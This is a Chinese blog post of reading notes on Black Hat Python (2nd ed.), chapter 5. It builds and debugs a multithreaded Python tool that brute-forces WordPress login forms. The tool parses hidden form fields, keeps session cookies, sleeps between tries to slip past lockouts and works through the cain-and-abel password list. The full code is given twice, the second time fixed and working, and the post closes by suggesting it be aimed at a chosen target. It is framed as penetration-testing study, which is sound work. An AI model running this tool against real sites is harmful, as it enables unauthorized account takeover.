黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证
黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证
文章目录
- 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证
- 写在前面
- 分析WordPress登录表单
- 对抗反暴力破解
- cain单词列表
- 创建工具脚本
- Bruter类
- 完善暴力工具(main代码块)
- HTMLParser
- 小试牛刀
- 完整代码
写在前面
在我们的渗透测试职业生涯中,我们可能会需要访问一个目标,或者我们正在咨询/评估现有web系统的密码强度。web系统越来越普遍地使用了防暴力破解的保护,无论是captcha、简单的数学公式,或者是必须随请求提交的登录令牌。有许多暴力工具可以对登录脚本的POST请求进行暴力破解,但在很多情况下这些工具不够灵活,无法处理动态内容,以及 “你是人吗?”这类简单检查。接下来我们将创建一个简单的暴力工具,它将对WordPress有用。虽然现代WordPress系统包括一些基本的反暴力技术,但默认情况下仍然缺少帐户锁定或强captcha。
为了能够暴力破解WordPress,我们的工具需要满足两个要求:它必须在提交密码尝试之前从登录表单中解析出隐藏的令牌,并且必须确保我们在HTTP会话中接受cookie。远程应用程序在第一次访问时设置一个或多个cookie,并且在登录尝试时会期望将cookie返回。为了解析出登录表单中的信息,我们将使用前面“lxml和BeautifulSoup包”一节中介绍的lxml包。
分析WordPress登录表单
我们可以通过浏览http://<域名>/wp-login.php/找到它。我们可以使用浏览器的工具“查看源代码”来查找HTML结构。例如,如果使用Firefox浏览器,选择“Tools/Web Developer/Inspector”。为了简洁起见,下面的示例中只包括了相关的表单元素(这里借用原书中的内容,前面安装的wordpress刚刚被我销毁了,看来后面还是要用到的,说出来都是泪啊!):
通过上面的表单,我们可以获得一些有价值的信息,我们需要将这些信息整合到我们的暴力工具中。首先,表单作为HTTP POST提交到/wp-login.php路径。接下来的元素是表单提交成功所需的所有字段:log字段是代表用户名的变量,pwd字段是代表密码的变量,wp-submit指的是submit按钮,testcookie是测试cookie的变量(请注意,这个元素的属性是hidden,说明在表单上是隐藏的)。
对抗反暴力破解
当我们通过表单跟服务器交互时,服务器还设置了其它的cookie;当我们提交表单数据时,服务器希望再次收到这些cookie。这是WordPress反暴力破解技术的关键,站点根据当前的用户会话检查cookie,因此即使我们将正确的用户凭据传递到登录处理程序中,如果cookie不存在或者是错误的,身份验证也会失败。当普通用户登录时,浏览器会自动处理这些cookie,因此我们必须在暴力工具中实现这种行为。这里我们将使用requests库的Session对象自动处理cookie。
为了能够成功对抗WordPress的反暴力破解,我们将依赖暴力工具中的以下请求流程:
- 检索登录页面并接受返回的所有cookie。
- 从HTML中解析出所有表单元素。
- 根据字典猜测用户名和/或密码。
- 向登录处理脚本发送HTTP POST,包括所有HTML表单字段和我们存储的cookie。
- 测试我们是否已成功登录web应用程序。
cain单词列表
Cain & Abel是一个仅限Windows下试用的密码恢复工具,它包含一个名为cain.txt的大型暴力破解密码单词表。我们将会使用这个文件来进行密码猜测,可以直接从Daniel Miessler的GitHub存储库SecLists下载(这个下载还算比较顺利):
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Software/cain-and-abel.txt
顺便说一下,SecLists还包含许多其他的单词表,建议在将来的黑客生涯中浏览一下这个repo。
我们将在这个脚本中使用一些新的、有价值的技术;另外我们还会提到,不应该在活动目标(生产环境)上测试工具;我们应当始终安装自己的测试环境,然后使用已知凭据设置并验证我们的工具获得了期望的结果。
创建工具脚本
下面我们创建一个名为wordpress_killer.py的脚本,并输入下面的代码:
from io import BytesIO
from lxml import etree
from queue import Queueimport requests
import sys
import threading
import timeSUCCESS = 'Welcome to WordPress!'
TARGET = 'http://boodelyboo.com/wordpress/wp-login.php'
WORDLIST = '/home/kali/Downloads/cain-and-abel.txt'def get_words():with open(WORDLIST) as f:raw_words = f.read()words = Queue()for word in raw_words.split():words.put(word)return wordsdef get_params(content):params = dict()parser = etree.HTMLParser()tree = etree.parse(BytesIO(content), parser=parser)# find all input elementsfor elem in tree.findall('//input'):name = elem.get('name')if name is not None:params[name] = elem.get('value', None)return params
这些常规设置值得解释一下,TARGET变量是脚本从中下载并解析HTML的URL,SUCCESS变量是一个字符串,我们将在每次暴力强制尝试后在响应内容中检查它,以确定是否成功。
get_words函数看起来应该很熟悉,因为我们在前面的暴力破解文件与目录一节中使用了类似的形式。get_params函数接收HTTP响应内容,然后进行解析,并循环遍历所有的输入元素,以创建需要填充的参数字典。
Bruter类
现在让我们为暴力工具创建管道;下面的一些代码将与前面上一节的暴力工具中的代码类似,因此重点介绍新出现的技术和手法
class Bruter:def __init__(self, username, url):self.username = usernameself.url = urlself.found = Falseprint(f'\nBrute Force Attack beginning on {url}.\n')print('Finished the setup where username = %s\n' % username)def run_bruteforce(self, passwords):for _ in range(10):t = threading.Thread(target=self.web_bruter, args=(passwords,))t.start()def web_bruter(self, passwords):session = requests.Session()resp0 = session.get(self.url)params = get_params(resp0.content)params['pwd'] = passwordswhile not passwords.empty() and not self.found:time.sleep(5)passwd = passwords.get()print(f'Trying username/password {self.username}/{passwd:<10}')params['pwd'] = passwdresp1 = session.post(self.url, data=params)if SUCCESS in resp1.content.decode():self.found = Trueprint(f"\nBruteforcing successful.")print("Username is %s" % self.username)print("Password is %s" % brute)print("done: now cleaning up other threads...")
这是我们主要的暴力破解类,它将处理所有的HTTP请求并管理cookie。执行暴力登录攻击的web_bruter方法的工作分三个阶段进行。
在__init__方法中,我们从requests库初始化一个Session对象,它将自动为我们处理cookie。然后,程序发出解析登录表单的初始请求;当接收到原始HTML内容时,程序将其传递给get_params函数,该函数解析参数的内容并返回检索到的所有表单元素的字典。成功解析HTML之后,替换username参数,接下来开始循环密码猜测。
在循环阶段,程序先休眠几秒钟,以尝试绕过帐户锁定;然后从队列中弹出一个密码,并使用它来完成参数字典的填充,当队列中没有更多密码时线程退出。
在请求阶段,我们使用参数字典发出post请求,获取到身份验证尝试的响应后,我们将分析身份验证是否成功,即解析内容中是否包含我们之前定义好的表示成功的字符串。如果成功并且字符串存在,程序将清除队列,以便其它线程可以快速完成并返回。
完善暴力工具(main代码块)
要完成WordPress暴力工具,我们还需要添加以下代码:
if __name__ == '__main__':words = get_words()b = Bruter('tim', url)b.run_bruteforce(words)
说明:原书中这里代码有点小问题,主函数和全局变量中都没有定义变量url,后面验证的时候证明,这里应该是前面定义的TARGET。
就是这样!我们将用户名和url传递给Bruter类,并使用从单词列表创建的队列暴力破解应用程序,下面我们看一下会发生什么奇迹。
HTMLParser
在本节的示例中,我们使用requests和lxml包发出HTTP请求,并解析结果内容。但是,如果我们无法安装这两个软件包而必须依赖标准库应该怎么办呢?正如我们在本章开头提到的,我们可以使用urllib发出请求,但我们需要使用标准库html.parser.HTMLParser来定义自己的解析器。
使用HTMLParser类时,可以实现三个主要方法:handle_starttag、handle_endtag和handle_data。每当遇到打开的HTML标签时,都会调用handle_starttag函数;而handle_endtag函数则相反,每次遇到关闭的HTML标签时都会调用该函数;当标记之间存在原始文本时,将调用handle_data函数。每个函数的原型略有不同,如下所示:
handle_starttag(self, tag, attributes)
handle_endttag(self, tag)
handle_data(self, data)
这里用一个简单的例子来说明一下:
有了对HTMLParser类的基本理解,我们可以执行诸如解析表单、通过爬虫查找链接、提取用于数据挖掘的所有纯文本,或查找页面中的所有图像等操作。
小试牛刀
如果你的Kali VM上没有安装WordPress,那么现在就安装它。另外,在boodelyboo.com上临时托管了一个WordPress,预设用户名为tim,密码为1234567,这个密码刚好在cain.txt文件中,运行脚本时,得到以下输出:
说明:其实目前上面的boodelyboo.com已经不可达了,我自己搭建了一个wordpress,用户名和密码也不是上述,先在不修改密码单词表的情况下暴力一把看看,如下图所示,它已经在勤奋的工作啦。
为了节省时间,我们结束掉脚本的运行,修改一下cain.txt文件,即把我们的密码添加到cain.txt文件中去,然后再次运行脚本,竟然直接跳过去了,跟预期的不太一样,如下图。
先检查一下脚本是否又出乌龙了,跟原书脚本完全一致,直接运行原书的脚本发现也会出现同样的问题。
那接下来就好好定位一下问题吧。首先修改线程数为1(便于查看日志);然后打印出要在post请求总提交的参数字典,以及post请求的整个响应消息;最后吧目标的密码放到单词列表的第一个。然后运行脚本,从打印的返回消息看,应该是登录成功的,如下图。
这跟我手动登录成功以后展示的内容完全一致啊!请看下图。
这说明是登录成功了的,看来是登录成功的断言设置有问题,回去检查一下。发现代码中的登录成功的断言是“if SUCCESS in resp1.content.decode():”,即当post提交表单的请求的响应内容中包含SUCCESS时,就认为登录成功了,可是当我把整个resp1.content.decode()打印出来,也没有找到SUCCESS,问题应该就是出在这里。分析整个resp1.content.decode()的内容,发现有“编辑个人资料”和“注销”,直接用这两个作为登录成功的断言是不是更加靠谱呢?如下图,做完上述调整之后再次运行脚本,成功啦!
不过这里出现一个异常,顺藤摸瓜发现了原书代码中的另一个小错误,修改以后,正常执行,结果如下图,很完美(我顺便吧预期的正确密码放到了单词列表的后面,线程修改成了原来的10)。
我们可以看到脚本成功地使用暴力并登录到WordPress控制台。要验证它是否有效,您应该使用这些凭据手动登录。在本地测试并确定它能正常工作后,我们可以针对选择的目标WordPress使用此工具。
完整代码
作为惯例,放上可运行的原始代码
from email import parser
from io import BytesIO
from urllib import request
from lxml import etree
from queue import Queueimport requests
import sys
import threading
import timeSUCCESS = 'Welcome to WordPress!'
# TARGET = 'http://boodelyboo.com/wordpress/wp-login.php'
TARGET = 'http://www.lpxwordpress.net/wp-login.php'
WORDLIST = '/home/kali/Downloads/cain-and-abel.txt'def get_words():with open(WORDLIST) as f:raw_words = f.read()words = Queue()for word in raw_words.split():words.put(word)return wordsdef get_params(content):params = dict()parser = etree.HTMLParser()tree = etree.parse(BytesIO(content), parser=parser)# find all input elementsfor elem in tree.findall('//input'):name = elem.get('name')if name is not None:params[name] = elem.get('value', None)return paramsclass Bruter:def __init__(self, username, url):self.username = usernameself.url = urlself.found = Falseprint(f'\nBrute Force Attack beginning on {url}.\n')print('Finished the setup where username = %s\n' % username)def run_bruteforce(self, passwords):for _ in range(10):t = threading.Thread(target=self.web_bruter, args=(passwords,))t.start()def web_bruter(self, passwords):session = requests.Session()resp0 = session.get(self.url)params = get_params(resp0.content)params['log'] = self.usernamewhile not passwords.empty() and not self.found:time.sleep(5)passwd = passwords.get()print(f'Trying username/password {self.username}/{passwd:<10}')params['pwd'] = passwdresp1 = session.post(self.url, data=params)# if SUCCESS in resp1.content.decode():resp1_txt = resp1.content.decode()if ('wp-admin-bar-edit-profile' in resp1_txt) and ('wp-admin-bar-logout' in resp1_txt):self.found = Trueprint(f"\nBruteforcing successful.")print("Username is %s" % self.username)print("Password is %s" % passwd)print("done: now cleaning up other threads...")if __name__ == '__main__':words = get_words()b = Bruter('lpx', TARGET)b.run_bruteforce(words)
黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证相关推荐
- 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(3)暴力破解目录与文件位置
黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(3)暴力破解目录与文件位置 文章目录 黑帽python第二版(Black Hat P ...
- 【Python自然语言处理】读书笔记:第五章:分类和标注词汇
jupyter 版请见我的github:https://github.com/JackKuo666/Python_nlp_notes [Python自然语言处理]读书笔记:第五章:分类和标注词汇 本章 ...
- 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第01章 语言处理与Python
第01章 语言处理与Python 1.1 语言计算:文本和单词 Python入门 NLTK 入门 搜索文本 计数词汇 1.2 近观Python:将文本当做词链表 链表(list,也叫列表) 索引列表 ...
- 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第10章 分析句子的意思
第10章 分析句子的意思 10.1 自然语言理解 查询数据库 自然语言.语义和逻辑 10.2 命题逻辑 10.3 一阶逻辑 一阶定理证明 一阶逻辑语言总结 真值模型 独立变量和赋值 量化 量词范围歧义 ...
- 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第02章 获得文本语料和词汇资源
第02章 获得文本语料和词汇资源 2.1 获取文本语料库 古腾堡语料库 网络和聊天文本 布朗语料库 路透社语料库 就职演说语料库 标注文本语料库 在其他语言的语料库 文本语料库的结构 载入你自己的语料 ...
- 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第05章 分类和标注词汇
第05章 分类和标注词汇 5.1 使用词性标注器 5.2 标注语料库 表示已标注的标识 读取已标注的语料库 简化的词性标记集 名词 动词 形容词和副词 未简化的标记 探索已标注的语料库 5.3 使用P ...
- 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第03章 加工原料文本
第03章 加工原料文本 3.1 从网络和硬盘访问文本 电子书 处理的HTML 处理搜索引擎的结果 处理RSS 订阅 读取本地文件 从PDF.MS Word 及其他二进制格式中提取文本 捕获用户输入 N ...
- 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第11章 语言数据管理
第11章 语言数据管理 11.1 语料库结构:一个案例研究 主要设计特点 基本数据类型 11.2 语料库生命周期 语料库创建的三种方案 质量控制 维护与演变 11.3 数据采集 从网上获取数据 从字处 ...
- 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第04章 编写结构化程序
第04章 编写结构化程序 4.1 回到基础 赋值 等式 条件语句 4.2 序列 序列类型上的操作 合并不同类型的序列 产生器表达式 4.3 风格的问题 过程风格与声明风格 计数器的一些合理用途 4.4 ...
最新文章
- java之php、Android、JAVA、C# 3DES加密解密
- 前端每日实战:60# 视频演示如何用纯 CSS 创作一块乐高积木
- python list 换位置_【已解决】Python中把list换成set
- python指定数据写入指定excel_python脚本——生成EXCEL,连接数据库,并将指定数据写入EXCEL...
- the next journal submission for mechanism should be at this journal
- access集团和abm_ACCESS集团宣布启动“ABM单创66会员狂欢节”
- 红黄蓝收购新加坡某民营儿童教育集团,宣布更名为GEH Education...
- Linux编程手册读书笔记第五章(20140408)
- Redmi 10X Pro 5G曝光:四种配色、两种存储版本可选
- JVM第一讲:为什么需要 JVM?它处在什么位置?
- ajax post 数组
- ★★★【加快】页面的【加载速度】,先减少图片请求★
- delphi2010:按键 控制键 组合键的判断 响应
- wap jsp 开发
- js 设计模式(23种)
- php 生成迅雷地址,php实现把url转换迅雷thunder资源下载地址的方法,_PHP教程
- 高薪程序员面试题精讲系列89之MySQL有哪些索引?
- 薅羊毛软件-抢福袋源码分享
- 拿下春晚,抖音支付要如何在一个月内杀出血路
- 西邮 Linux 兴趣小组 2021 纳新试题
热门文章
- Docker基础与进阶梳理(干货满满)
- 开价 175 亿美元,游戏软件公司 AppLovin 欲收购 Unity!
- GPS导航测速点数据库与雷达探测器
- 长亭科技新品万象发布,升级全线产品,致力用“智能”代替“规则”
- 第十三届蓝桥杯大赛软件赛省赛(JavaB组)
- centos 配置IP ens33
- python array.shape
- 自己动手做一个adb的wifi连接及adb命令的apk
- Windows+IIS+PHP——PHP安装与环境配置
- flv文件如何转换成mp4 将flv转换成mp4格式的方法是什么